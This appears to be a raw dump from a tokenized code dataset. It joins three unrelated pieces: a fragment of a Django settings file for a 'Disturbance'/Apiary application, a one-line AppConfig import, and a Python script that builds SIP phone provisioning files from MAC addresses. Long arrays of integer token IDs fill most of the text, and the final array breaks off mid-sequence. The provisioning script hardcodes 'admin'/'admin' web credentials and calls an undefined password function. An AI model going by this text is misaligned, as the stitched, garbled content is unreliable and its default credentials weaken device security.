DEFAULT_FROM_EMAIL = env('DEFAULT_FROM_EMAIL', 'no-reply@' + SITE_DOMAIN).lower() ADMIN_GROUP = env('ADMIN_GROUP', 'Disturbance Admin') APIARY_ADMIN_GROUP = 'Apiary Admin' DAS_APIARY_ADMIN_GROUP = 'DAS-Apiary Admin' APIARY_PAYMENTS_OFFICERS_GROUP = 'Apiary Payments Officers' APPROVED_EXTERNAL_USERS_GROUP = env('APPROVED_EXTERNAL_USERS_GROUP', 'Disturbance Approved External Users') CRON_EMAIL = env('CRON_EMAIL', 'cron@' + SITE_DOMAIN).lower() TENURE_SECTION = env('TENURE_SECTION', None) ASSESSMENT_REMINDER_DAYS = env('ASSESSMENT_REMINDER_DAYS', 15) OSCAR_BASKET_COOKIE_OPEN = 'das_basket' PAYMENT_SYSTEM_ID = env('PAYMENT_SYSTEM_ID', 'S517') PS_PAYMENT_SYSTEM_ID = PAYMENT_SYSTEM_ID PAYMENT_SYSTEM_PREFIX = env('PAYMENT_SYSTEM_PREFIX', PAYMENT_SYSTEM_ID.replace('S','0')) # '0517' os.environ['LEDGER_PRODUCT_CUSTOM_FIELDS'] = "('ledger_description','quantity','price_incl_tax','price_excl_tax','oracle_code')" APIARY_URL = env('APIARY_URL', []) CRON_NOTIFICATION_EMAIL = env('CRON_NOTIFICATION_EMAIL', NOTIFICATION_EMAIL).lower() BASE_URL=env('BASE_URL') CKEDITOR_CONFIGS = { 'default': { 'toolbar': 'full', 'height': 300, #'width': 300, 'width': '100%', }, 'awesome_ckeditor': { 'toolbar': 'Basic', }, } BUILD_TAG = env('BUILD_TAG', hashlib.md5(os.urandom(32)).hexdigest()) # URL of the Dev app.js served by webpack & express DEV_APP_BUILD_URL = env('DEV_APP_BUILD_URL') # URL of the Dev app.js served by webpack & express GEOCODING_ADDRESS_SEARCH_TOKEN = env('GEOCODING_ADDRESS_SEARCH_TOKEN', 'ACCESS_TOKEN_NOT_FOUND') RESTRICTED_RADIUS = 3000 # unit: [m] DBCA_ABN = '38 052 249 024' if env('CONSOLE_EMAIL_BACKEND', False): EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' SITE_STATUS_DRAFT = 'draft' SITE_STATUS_PENDING = 'pending' SITE_STATUS_APPROVED = 'approved' SITE_STATUS_DENIED = 'denied' SITE_STATUS_CURRENT = 'current' SITE_STATUS_NOT_TO_BE_REISSUED = 'not_to_be_reissued' SITE_STATUS_SUSPENDED = 'suspended' SITE_STATUS_TRANSFERRED = 'transferred' SITE_STATUS_VACANT = 'vacant' SITE_STATUS_DISCARDED = 'discarded' BASE_EMAIL_TEXT = '' BASE_EMAIL_HTML = '' # This is either 'das'/'apiary' # default: 'das' # This value is determined at the middleware, DomainDetectMiddleware by where the request comes from DOMAIN_DETECTED = 'das' HTTP_HOST_FOR_TEST = 'localhost:8071' # Additional logging for commercialoperator LOGGING['loggers']['disturbance'] = { 'handlers': ['file'], 'level': 'INFO' } #APPLICATION_TYPES_SQL=''' # SELECT name, name FROM disturbance_applicationtypechoice # WHERE archive_date IS NULL OR archive_date > now() # ''' #from django.db import connection #def run_select_sql(sql): # try: # with connection.cursor() as cursor: # cursor.execute(sql) # row = cursor.fetchall() # return row # except: # return []
[ 6738, 42625, 14208, 13, 7295, 13, 1069, 11755, 1330, 12205, 525, 306, 16934, 1522, 198, 198, 11748, 28686, 11, 12234, 8019, 198, 11748, 1013, 88, 198, 33, 11159, 62, 34720, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 397, 2777, 776, 7, 834, 7753, 834, 22305, 198, 10414, 88, 13, 961, 62, 38986, 62, 7753, 7, 33, 11159, 62, 34720, 10, 1, 11757, 24330, 4943, 198, 418, 13, 268, 2268, 13, 2617, 12286, 7203, 33, 11159, 62, 34720, 1600, 49688, 62, 34720, 8, 198, 198, 6738, 37208, 13, 33692, 62, 8692, 1330, 1635, 628, 198, 13252, 2394, 62, 4261, 5639, 1340, 37, 796, 705, 17080, 5945, 590, 13, 6371, 82, 6, 198, 50, 12709, 62, 2389, 796, 352, 198, 7206, 11571, 62, 39170, 32, 20913, 796, 17365, 10786, 7206, 11571, 62, 39170, 32, 20913, 3256, 37250, 26059, 707, 13, 10247, 13, 9567, 13, 559, 3256, 705, 9945, 6888, 13, 10247, 13, 9567, 13, 559, 6, 12962, 198, 40331, 1137, 29817, 1581, 62, 2257, 3185, 62, 34, 12740, 796, 17365, 10786, 40331, 1137, 29817, 1581, 62, 2257, 3185, 62, 34, 12740, 11537, 198, 23060, 25361, 62, 5673, 12394, 1677, 19240, 62, 31502, 796, 17365, 10786, 23060, 25361, 62, 5673, 12394, 1677, 19240, 62, 31502, 3256, 1987, 8, 1303, 2250, 198, 26288, 17534, 62, 27630, 4146, 796, 17365, 10786, 26288, 17534, 62, 27630, 4146, 3256, 10352, 8, 198, 30733, 3539, 62, 24805, 62, 34720, 796, 17365, 10786, 30733, 3539, 62, 24805, 62, 34720, 3256, 705, 67, 292, 11537, 198, 30733, 3539, 62, 17614, 13153, 62, 34720, 796, 17365, 10786, 30733, 3539, 62, 17614, 13153, 62, 34720, 3256, 705, 499, 8042, 11537, 198, 4303, 1404, 12576, 62, 26947, 62, 34720, 796, 17365, 10786, 4303, 1404, 12576, 62, 26947, 62, 34720, 3256, 705, 2777, 34961, 62, 7890, 11537, 198, 22846, 25620, 62, 49, 3525, 1847, 62, 37, 6500, 62, 38, 2257, 62, 6369, 3620, 11571, 796, 6407, 198, 198, 38604, 7036, 1961, 62, 2969, 3705, 15853, 685, 198, 220, 220, 220, 705, 260, 9641, 62, 5589, 533, 3256, 198, 220, 220, 220, 705, 18769, 26418, 18, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 12417, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 9971, 38189, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 18417, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 1676, 1930, 874, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 21064, 12786, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 23855, 16097, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 5589, 3906, 13, 67, 292, 62, 15577, 902, 3256, 198, 220, 220, 220, 705, 83, 9460, 270, 3256, 198, 220, 220, 220, 705, 2118, 62, 30604, 3256, 198, 220, 220, 220, 705, 2118, 62, 30604, 62, 19608, 265, 2977, 3256, 198, 220, 220, 220, 705, 2118, 62, 30604, 62, 70, 271, 3256, 198, 220, 220, 220, 705, 42503, 62, 76, 3692, 602, 3256, 198, 220, 220, 220, 705, 694, 35352, 3256, 198, 220, 220, 220, 705, 27004, 62, 19738, 82, 3256, 198, 60, 198, 198, 29266, 62, 2200, 43717, 62, 2885, 23678, 28, 17821, 198, 198, 2, 5415, 1271, 286, 1528, 3142, 329, 257, 25452, 198, 19416, 18878, 62, 2969, 31484, 6234, 796, 705, 17080, 5945, 590, 13, 18504, 12397, 13, 31438, 6, 198, 198, 7061, 6, 49, 6465, 62, 10913, 2390, 6217, 14670, 796, 1391, 198, 220, 220, 220, 705, 7206, 38865, 62, 18973, 44, 40373, 62, 31631, 1546, 10354, 357, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17080, 5945, 590, 13, 525, 907, 13, 12710, 263, 5990, 3411, 3256, 198, 220, 220, 220, 1267, 198, 92, 7061, 6, 198, 198, 2, 49, 6465, 62, 10913, 2390, 6217, 14670, 796, 1391, 198, 2, 220, 220, 220, 705, 7206, 38865, 62, 4537, 38, 1268, 6234, 62, 31631, 10354, 705, 2118, 62, 30604, 13, 79, 363, 1883, 13, 39184, 34519, 47, 363, 1883, 3256, 198, 2, 220, 220, 220, 1303, 6, 7206, 38865, 62, 4537, 38, 1268, 6234, 62, 31631, 10354, 705, 2118, 62, 30604, 13, 79, 363, 1883, 13, 9876, 15057, 47, 363, 1883, 3256, 198, 2, 220, 220, 220, 220, 220, 220, 220, 705, 4537, 8264, 62, 33489, 10354, 642, 198, 2, 92, 198, 198, 49, 6465, 62, 10913, 2390, 6217, 14670, 796, 1391, 198, 220, 220, 220, 705, 7206, 38865, 62, 49, 10619, 1137, 1137, 62, 31631, 1546, 10354, 357, 198, 220, 220, 220, 220, 220, 220, 220, 705, 2118, 62, 30604, 13, 10920, 19288, 13, 40386, 49, 437, 11882, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 2118, 62, 30604, 13, 10920, 19288, 13, 33, 8516, 540, 2969, 4663, 437, 11882, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 2118, 62, 30604, 62, 19608, 265, 2977, 13, 10920, 19288, 13, 27354, 265, 2977, 49, 437, 11882, 3256, 198, 220, 220, 220, 10612, 198, 220, 220, 220, 1303, 6, 7206, 38865, 62, 46700, 5781, 62, 31098, 1677, 5258, 10354, 357, 198, 220, 220, 220, 1303, 220, 220, 220, 705, 2118, 62, 30604, 62, 19608, 265, 2977, 13, 10379, 1010, 13, 27354, 265, 2977, 22417, 7282, 437, 3256, 198, 220, 220, 220, 1303, 828, 198, 220, 220, 220, 1303, 6, 7206, 38865, 62, 4537, 38, 1268, 6234, 62, 31631, 10354, 705, 2118, 62, 30604, 62, 19608, 265, 2977, 13, 79, 363, 1883, 13, 27354, 265, 2977, 9876, 15057, 47, 363, 1883, 3256, 198, 220, 220, 220, 1303, 6, 4537, 8264, 62, 33489, 10354, 1160, 11, 198, 92, 198, 198, 19108, 62, 35028, 1565, 11230, 62, 41, 10917, 19664, 28, 6407, 198, 2, 449, 10917, 19664, 62, 21886, 796, 6407, 198, 198, 44, 2389, 35, 2538, 33746, 62, 31631, 1546, 15853, 685, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 27171, 1574, 13, 10482, 278, 48801, 34621, 1574, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 27171, 1574, 13, 5962, 7575, 45, 363, 23901, 34621, 1574, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 27171, 1574, 13, 18009, 1166, 37961, 34621, 1574, 3256, 198, 220, 220, 220, 705, 17080, 5945, 590, 13, 27171, 1574, 13, 43961, 47504, 34621, 1574, 3256, 198, 60, 198, 198, 51, 3620, 6489, 29462, 58, 15, 7131, 6, 34720, 50, 6, 4083, 33295, 7, 418, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 17080, 5945, 590, 3256, 705, 11498, 17041, 6, 4008, 198, 51, 3620, 6489, 29462, 58, 15, 7131, 6, 34720, 50, 6, 4083, 33295, 7, 418, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 17080, 5945, 590, 41707, 5589, 3906, 41707, 9971, 38189, 3256, 705, 11498, 17041, 6, 4008, 198, 51, 3620, 6489, 29462, 58, 15, 7131, 6, 34720, 50, 6, 4083, 33295, 7, 418, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 17080, 5945, 590, 41707, 5589, 3906, 41707, 368, 1768, 3256, 705, 11498, 17041, 6, 4008, 198, 51, 3620, 6489, 29462, 58, 15, 7131, 6, 3185, 51, 11053, 6, 7131, 6, 22866, 62, 14681, 669, 6, 4083, 33295, 10786, 17080, 5945, 590, 13, 22866, 62, 14681, 669, 13, 499, 8042, 62, 6371, 11537, 198, 12381, 16494, 2394, 18601, 2969, 18, 17816, 25471, 62, 6371, 20520, 198, 2, 8202, 2394, 18601, 2969, 18, 796, 1391, 198, 2, 220, 220, 220, 705, 73, 22766, 62, 6371, 10354, 705, 1003, 12708, 13, 26059, 707, 13, 10247, 13, 9567, 13, 559, 14, 12708, 14, 8019, 82, 14, 73, 22766, 14, 17, 13, 17, 13, 16, 14, 73, 22766, 13, 1084, 13, 8457, 3256, 198, 2, 220, 220, 220, 705, 8692, 62, 6371, 10354, 705, 1003, 12708, 13, 26059, 707, 13, 10247, 13, 9567, 13, 559, 14, 12708, 14, 8019, 82, 14, 6956, 12, 18769, 26418, 14, 18, 13, 18, 13, 21, 14, 3256, 198, 2, 220, 220, 220, 705, 25471, 62, 6371, 10354, 6045, 11, 198, 2, 220, 220, 220, 705, 43810, 62, 6371, 10354, 6045, 11, 198, 2, 220, 220, 220, 705, 37495, 62, 6371, 10354, 6045, 11, 198, 2, 220, 220, 220, 705, 37495, 62, 259, 62, 2256, 10354, 10352, 11, 198, 2, 220, 220, 220, 705, 17256, 62, 73, 22766, 10354, 10352, 11, 198, 2, 220, 220, 220, 705, 35827, 62, 25471, 62, 4871, 10354, 705, 35827, 12, 687, 12, 3245, 3256, 198, 2, 220, 220, 220, 705, 2617, 62, 5372, 13829, 10354, 10352, 11, 198, 2, 92, 198, 34, 16219, 1546, 796, 1391, 198, 220, 220, 220, 705, 12286, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 31098, 10619, 10354, 705, 28241, 14208, 13, 7295, 13, 23870, 13, 1891, 2412, 13, 7753, 3106, 13, 8979, 15001, 30562, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 29701, 6234, 10354, 28686, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 17080, 5945, 590, 3256, 705, 23870, 33809, 198, 220, 220, 220, 1782, 198, 92, 198, 35744, 2149, 62, 13252, 2394, 28, 418, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 12708, 16624, 62, 9310, 11537, 198, 35744, 2149, 46700, 1546, 62, 34720, 50, 13, 33295, 7, 418, 13, 6978, 13, 22179, 7, 418, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 705, 17080, 5945, 590, 3256, 705, 12708, 6, 22305, 198, 39345, 62, 35744, 2149, 796, 17365, 10786, 39345, 62, 35744, 2149, 3256, 25101, 8, 198, 39345, 62, 35744, 2149, 62, 21886, 796, 17365, 10786, 39345, 62, 35744, 2149, 62, 21886, 11537, 198, 361, 5550, 53, 62, 35744, 2149, 290, 407, 5550, 53, 62, 35744, 2149, 62, 21886, 25, 198, 220, 220, 220, 5298, 12205, 525, 306, 16934, 1522, 10786, 1532, 2491, 287, 5550, 53, 62, 35744, 2149, 11, 5550, 53, 62, 35744, 2149, 62, 21886, 468, 284, 307, 900, 11537, 198, 26947, 62, 52, 6489, 41048, 62, 22921, 62, 41359, 13246, 62, 11674, 3698, 5258, 796, 6045, 198, 198, 2, 2732, 3307, 198, 23060, 25361, 62, 20608, 796, 17365, 10786, 23060, 25361, 62, 20608, 3256, 705, 20344, 5945, 590, 20010, 2100, 4482, 11537, 198, 17614, 13153, 62, 23060, 25361, 62, 20608, 796, 17365, 10786, 17614, 13153, 62, 23060, 25361, 62, 20608, 3256, 705, 25189, 8042, 4482, 11537, 198, 23060, 25361, 62, 20608, 62, 9693, 9863, 796, 17365, 10786, 23060, 25361, 62, 20608, 62, 9693, 9863, 3256, 705, 35, 1921, 11537, 198, 50, 12709, 62, 47, 31688, 10426, 796, 17365, 10786, 50, 12709, 62, 47, 31688, 10426, 11537, 198, 50, 12709, 62, 39170, 29833, 796, 17365, 10786, 50, 12709, 62, 39170, 29833, 11537, 198, 40331, 15490, 62, 27630, 4146, 796, 17365, 10786, 40331, 15490, 62, 27630, 4146, 3256, 36230, 62, 20608, 62, 9693, 9863, 13, 21037, 3419, 1343, 705, 31, 6, 1343, 311, 12709, 62, 39170, 29833, 737, 21037, 3419, 198, 17614, 13153, 62, 40331, 15490, 62, 27630, 4146, 796, 17365, 10786, 17614, 13153, 62, 40331, 15490, 62, 27630, 4146, 3256, 43333, 62, 27630, 4146, 737, 21037, 3419, 198, 46162, 62, 21886, 796, 17365, 10786, 46162, 62, 21886, 41707, 2503, 2637, 1343, 311, 12709, 62, 39170, 29833, 8, 198, 46162, 62, 11909, 11651, 796, 17365, 10786, 46162, 62, 11909, 11651, 41707, 7, 2919, 8, 10190, 1129, 50138, 11537, 198, 46162, 62, 11909, 11651, 62, 40331, 15490, 796, 17365, 10786, 46162, 62, 11909, 11651, 62, 40331, 15490, 41707, 7, 2919, 8, 10190, 1129, 50138, 11537, 198, 46162, 62, 7708, 55, 796, 17365, 10786, 46162, 62, 7708, 55, 41707, 7, 2919, 8, 10048, 1954, 807, 27877, 11537, 198, 46162, 62, 32782, 1847, 796, 17365, 10786, 46162, 62, 32782, 1847, 41707, 43, 3543, 20127, 14436, 11, 38881, 28682, 9072, 11, 4885, 4505, 39861, 18, 11537, 198, 46162, 62, 20608, 796, 17365, 10786, 46162, 62, 20608, 41707, 36261, 286, 347, 2101, 1608, 11, 23702, 290, 3460, 37810, 11537, 198, 46162, 62, 20608, 62, 9693, 9863, 796, 17365, 10786, 46162, 62, 20608, 62, 9693, 9863, 41707, 35, 2749, 32, 11537, 198, 50, 12709, 62, 21886, 796, 17365, 10786, 50, 12709, 62, 21886, 3256, 705, 5450, 1378, 6, 1343, 705, 2637, 13, 22179, 26933, 50, 12709, 62, 47, 31688, 10426, 11, 311, 12709, 62, 39170, 29833, 35944, 36311, 10786, 2637, 4008, 198, 5105, 32936, 62, 21886, 28, 24330, 10786, 5105, 32936, 62, 21886, 3256, 311, 12709, 62, 21886, 8, 198, 27630, 4146, 62, 10913, 2662, 796, 17365, 10786, 27630, 4146, 62, 10913, 2662, 3256, 705, 3919, 12, 47768, 31, 6, 1343, 311, 12709, 62, 39170, 29833, 737, 21037, 3419, 198, 7206, 38865, 62, 10913, 2662, 62, 27630, 4146, 796, 17365, 10786, 7206, 38865, 62, 10913, 2662, 62, 27630, 4146, 3256, 705, 3919, 12, 47768, 31, 6, 1343, 311, 12709, 62, 39170, 29833, 737, 21037, 3419, 198, 2885, 23678, 62, 46846, 796, 17365, 10786, 2885, 23678, 62, 46846, 3256, 705, 20344, 5945, 590, 32053, 11537, 198, 17614, 13153, 62, 2885, 23678, 62, 46846, 796, 705, 25189, 8042, 32053, 6, 198, 35, 1921, 62, 17614, 13153, 62, 2885, 23678, 62, 46846, 796, 705, 35, 1921, 12, 25189, 8042, 32053, 6, 198, 17614, 13153, 62, 4537, 56, 28957, 62, 27977, 2149, 4877, 62, 46846, 796, 705, 25189, 8042, 41318, 23512, 6, 198, 2969, 41283, 1961, 62, 6369, 31800, 1847, 62, 2937, 4877, 62, 46846, 796, 17365, 10786, 2969, 41283, 1961, 62, 6369, 31800, 1847, 62, 2937, 4877, 62, 46846, 3256, 705, 20344, 5945, 590, 20010, 1079, 34579, 18987, 11537, 198, 9419, 1340, 62, 27630, 4146, 796, 17365, 10786, 9419, 1340, 62, 27630, 4146, 3256, 705, 66, 1313, 31, 6, 1343, 311, 12709, 62, 39170, 29833, 737, 21037, 3419, 198, 51, 1677, 11335, 62, 50, 24565, 796, 17365, 10786, 51, 1677, 11335, 62, 50, 24565, 3256, 6045, 8, 198, 10705, 7597, 10979, 62, 40726, 12115, 1137, 62, 26442, 50, 796, 17365, 10786, 10705, 7597, 10979, 62, 40726, 12115, 1137, 62, 26442, 50, 3256, 1315, 8, 198, 198, 2640, 20034, 62, 33, 1921, 42, 2767, 62, 34, 15308, 10008, 62, 3185, 1677, 796, 705, 67, 292, 62, 65, 11715, 6, 198, 4537, 56, 10979, 62, 23060, 25361, 62, 2389, 796, 17365, 10786, 4537, 56, 10979, 62, 23060, 25361, 62, 2389, 3256, 705, 50, 48170, 11537, 198, 3705, 62, 4537, 56, 10979, 62, 23060, 25361, 62, 2389, 796, 38444, 10979, 62, 23060, 25361, 62, 2389, 198, 4537, 56, 10979, 62, 23060, 25361, 62, 47, 31688, 10426, 796, 17365, 10786, 4537, 56, 10979, 62, 23060, 25361, 62, 47, 31688, 10426, 3256, 38444, 10979, 62, 23060, 25361, 62, 2389, 13, 33491, 10786, 50, 41707, 15, 6, 4008, 1303, 705, 2713, 1558, 6, 198, 418, 13, 268, 2268, 17816, 30465, 30373, 62, 4805, 28644, 62, 34, 7759, 2662, 62, 11674, 3698, 5258, 20520, 796, 366, 10786, 992, 1362, 62, 11213, 41707, 40972, 414, 41707, 20888, 62, 259, 565, 62, 19290, 41707, 20888, 62, 1069, 565, 62, 19290, 41707, 273, 6008, 62, 8189, 11537, 1, 198, 17614, 13153, 62, 21886, 796, 17365, 10786, 17614, 13153, 62, 21886, 3256, 685, 12962, 198, 9419, 1340, 62, 11929, 30643, 6234, 62, 27630, 4146, 796, 17365, 10786, 9419, 1340, 62, 11929, 30643, 6234, 62, 27630, 4146, 3256, 5626, 30643, 6234, 62, 27630, 4146, 737, 21037, 3419, 198, 198, 33, 11159, 62, 21886, 28, 24330, 10786, 33, 11159, 62, 21886, 11537, 628, 198, 198, 34, 42, 24706, 1581, 62, 10943, 16254, 50, 796, 1391, 198, 220, 220, 220, 705, 12286, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 25981, 5657, 10354, 705, 12853, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17015, 10354, 5867, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 6, 10394, 10354, 5867, 11, 198, 220, 220, 220, 220, 220, 220, 220, 705, 10394, 10354, 705, 3064, 4, 3256, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 705, 707, 5927, 62, 694, 35352, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 25981, 5657, 10354, 705, 26416, 3256, 198, 220, 220, 220, 8964, 198, 92, 198, 198, 19499, 26761, 62, 42197, 796, 17365, 10786, 19499, 26761, 62, 42197, 3256, 12234, 8019, 13, 9132, 20, 7, 418, 13, 333, 3749, 7, 2624, 29720, 33095, 12894, 395, 28955, 220, 1303, 10289, 286, 262, 6245, 598, 13, 8457, 4983, 416, 3992, 8002, 1222, 4911, 198, 39345, 62, 24805, 62, 19499, 26761, 62, 21886, 796, 17365, 10786, 39345, 62, 24805, 62, 19499, 26761, 62, 21886, 11537, 220, 1303, 10289, 286, 262, 6245, 598, 13, 8457, 4983, 416, 3992, 8002, 1222, 4911, 198, 8264, 4503, 3727, 2751, 62, 2885, 7707, 7597, 62, 5188, 31315, 62, 10468, 43959, 796, 17365, 10786, 8264, 4503, 3727, 2751, 62, 2885, 7707, 7597, 62, 5188, 31315, 62, 10468, 43959, 3256, 705, 26861, 7597, 62, 10468, 43959, 62, 11929, 62, 37, 15919, 11537, 198, 19535, 5446, 18379, 1961, 62, 49, 2885, 40, 2937, 796, 20343, 220, 1303, 4326, 25, 685, 76, 60, 198, 35, 2749, 32, 62, 6242, 45, 796, 705, 2548, 657, 4309, 34620, 657, 1731, 6, 198, 361, 17365, 10786, 10943, 15821, 2538, 62, 27630, 4146, 62, 31098, 10619, 3256, 10352, 2599, 198, 220, 220, 412, 5673, 4146, 62, 31098, 10619, 796, 705, 28241, 14208, 13, 7295, 13, 4529, 13, 1891, 2412, 13, 41947, 13, 15333, 7282, 437, 6, 628, 198, 50, 12709, 62, 35744, 2937, 62, 35, 44700, 796, 705, 35679, 6, 198, 50, 12709, 62, 35744, 2937, 62, 47, 10619, 2751, 796, 705, 79, 1571, 6, 198, 50, 12709, 62, 35744, 2937, 62, 2969, 41283, 1961, 796, 705, 29137, 6, 198, 50, 12709, 62, 35744, 2937, 62, 41819, 19767, 796, 705, 6559, 798, 6, 198, 50, 12709, 62, 35744, 2937, 62, 34, 39237, 796, 705, 14421, 6, 198, 50, 12709, 62, 35744, 2937, 62, 11929, 62, 10468, 62, 12473, 62, 2200, 1797, 12564, 1961, 796, 705, 1662, 62, 1462, 62, 1350, 62, 260, 39361, 6, 198, 50, 12709, 62, 35744, 2937, 62, 50, 2937, 47, 49361, 796, 705, 40409, 1631, 6, 198, 50, 12709, 62, 35744, 2937, 62, 5446, 15037, 24302, 22083, 796, 705, 7645, 18186, 6, 198, 50, 12709, 62, 35744, 2937, 62, 53, 2246, 8643, 796, 705, 85, 330, 415, 6, 198, 50, 12709, 62, 35744, 2937, 62, 26288, 34, 9795, 1961, 796, 705, 15410, 10676, 6, 198, 33, 11159, 62, 27630, 4146, 62, 32541, 796, 10148, 198, 33, 11159, 62, 27630, 4146, 62, 28656, 796, 10148, 198, 198, 2, 770, 318, 2035, 705, 67, 292, 26488, 6, 499, 8042, 6, 198, 2, 4277, 25, 705, 67, 292, 6, 198, 2, 770, 1988, 318, 5295, 379, 262, 3504, 1574, 11, 20021, 47504, 34621, 1574, 416, 810, 262, 2581, 2058, 422, 198, 39170, 29833, 62, 35, 2767, 9782, 1961, 796, 705, 67, 292, 6, 198, 40717, 62, 39, 10892, 62, 13775, 62, 51, 6465, 796, 705, 36750, 25, 1795, 4869, 6, 198, 198, 2, 15891, 18931, 329, 5068, 46616, 198, 25294, 38, 2751, 17816, 6404, 5355, 6, 7131, 6, 17080, 5945, 590, 20520, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4993, 8116, 10354, 37250, 7753, 6, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 5715, 10354, 705, 10778, 6, 198, 220, 220, 220, 220, 220, 220, 220, 1782, 628, 198, 2, 2969, 31484, 6234, 62, 9936, 47, 1546, 62, 17861, 28, 7061, 6, 198, 2, 220, 220, 220, 220, 220, 220, 220, 33493, 1438, 11, 1438, 16034, 30497, 62, 31438, 4906, 25541, 198, 2, 220, 220, 220, 220, 220, 220, 220, 33411, 15424, 62, 4475, 3180, 15697, 6375, 15424, 62, 4475, 1875, 783, 3419, 198, 2, 220, 220, 220, 705, 7061, 198, 198, 2, 6738, 42625, 14208, 13, 9945, 1330, 4637, 198, 2, 4299, 1057, 62, 19738, 62, 25410, 7, 25410, 2599, 198, 2, 220, 220, 220, 1949, 25, 198, 2, 220, 220, 220, 220, 220, 220, 220, 351, 4637, 13, 66, 21471, 3419, 355, 23493, 25, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 23493, 13, 41049, 7, 25410, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5752, 796, 23493, 13, 69, 7569, 439, 3419, 198, 2, 220, 220, 220, 220, 220, 220, 220, 1441, 5752, 198, 2, 220, 220, 220, 2845, 25, 198, 2, 220, 220, 220, 220, 220, 220, 220, 1441, 17635, 628, 198 ]
2.353152
3,347
from django.apps import AppConfig
[ 6738, 42625, 14208, 13, 18211, 1330, 2034, 16934, 201, 198, 201, 198 ]
3.083333
12
# -*- coding: utf-8 -*- import string import random from jinja2 import Template, Environment, FileSystemLoader baseDir = "c:\\provision" # which extension number we should start start_ext = 821 extensionHeader = """#cid_number,transfer,mailbox,type,qualify,hasdirectory,call-limit,host,context,fullname,secret,hasvoicemail,vmsecret,email,delete,hassip,hasiax,dahdichan,hasmanager,nat,dtmfmode,hasagent,callwaiting,videosupport,transport,encryption,srtpcapable,disallow,allow,deny,permit,callgroup,pickupgroup""" extensionFileName = baseDir + "\\" + "users_extensions.csv" env = Environment(loader=FileSystemLoader(baseDir)) mac = open(baseDir + "\\" + "macs.txt") extensionFile = open(extensionFileName, "w") extensionFile.write(extensionHeader) templateExtension = env.get_template("templ_extensions.csv.j2") templateMac = env.get_template("templ.cfg.j2") ext = start_ext for line in mac: data = { "enable": "1", "label": ext, "displayname": ext, "sipUsername": ext, "authname": ext, "sipPassword": password(), "server": "192.168.1.1", #change it as you want "webUser": "admin", #change it as you want "webPassword": "admin" #change it as you want } extensionFile.write("\n" + templateExtension.render(**data)) autopFile = open(baseDir + "\\" + line[0:-1] + ".cfg", "w") autopFile.write(templateMac.render(**data) + "\n") autopFile.close() ext = ext + 1 mac.close() extensionFile.close()
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 201, 198, 11748, 4731, 201, 198, 11748, 4738, 201, 198, 6738, 474, 259, 6592, 17, 1330, 37350, 11, 9344, 11, 9220, 11964, 17401, 201, 198, 201, 198, 201, 198, 201, 198, 8692, 35277, 796, 366, 66, 25, 6852, 1676, 10178, 1, 201, 198, 2, 543, 7552, 1271, 356, 815, 923, 201, 198, 9688, 62, 2302, 796, 807, 2481, 201, 198, 201, 198, 2302, 3004, 39681, 796, 37227, 2, 66, 312, 62, 17618, 11, 39437, 11, 4529, 3524, 11, 4906, 11, 13255, 1958, 11, 10134, 34945, 11, 13345, 12, 32374, 11, 4774, 11, 22866, 11, 12853, 3672, 11, 21078, 11, 10134, 13038, 291, 12888, 11, 14761, 21078, 11, 12888, 11, 33678, 11, 71, 562, 541, 11, 10134, 544, 87, 11, 67, 993, 67, 488, 272, 11, 10134, 37153, 11, 32353, 11, 67, 17209, 69, 14171, 11, 10134, 25781, 11, 13345, 10247, 1780, 11, 32861, 84, 4926, 11, 7645, 634, 11, 12685, 13168, 11, 82, 17034, 79, 11128, 540, 11, 6381, 12154, 11, 12154, 11, 6559, 88, 11, 525, 2781, 11, 13345, 8094, 11, 27729, 929, 8094, 37811, 201, 198, 2302, 3004, 8979, 5376, 796, 2779, 35277, 1343, 366, 6852, 1, 1343, 366, 18417, 62, 2302, 5736, 13, 40664, 1, 201, 198, 201, 198, 24330, 796, 9344, 7, 29356, 28, 8979, 11964, 17401, 7, 8692, 35277, 4008, 201, 198, 201, 198, 20285, 796, 1280, 7, 8692, 35277, 1343, 366, 6852, 1, 1343, 366, 76, 16436, 13, 14116, 4943, 201, 198, 2302, 3004, 8979, 796, 1280, 7, 2302, 3004, 8979, 5376, 11, 366, 86, 4943, 201, 198, 2302, 3004, 8979, 13, 13564, 7, 2302, 3004, 39681, 8, 201, 198, 201, 198, 28243, 11627, 3004, 796, 17365, 13, 1136, 62, 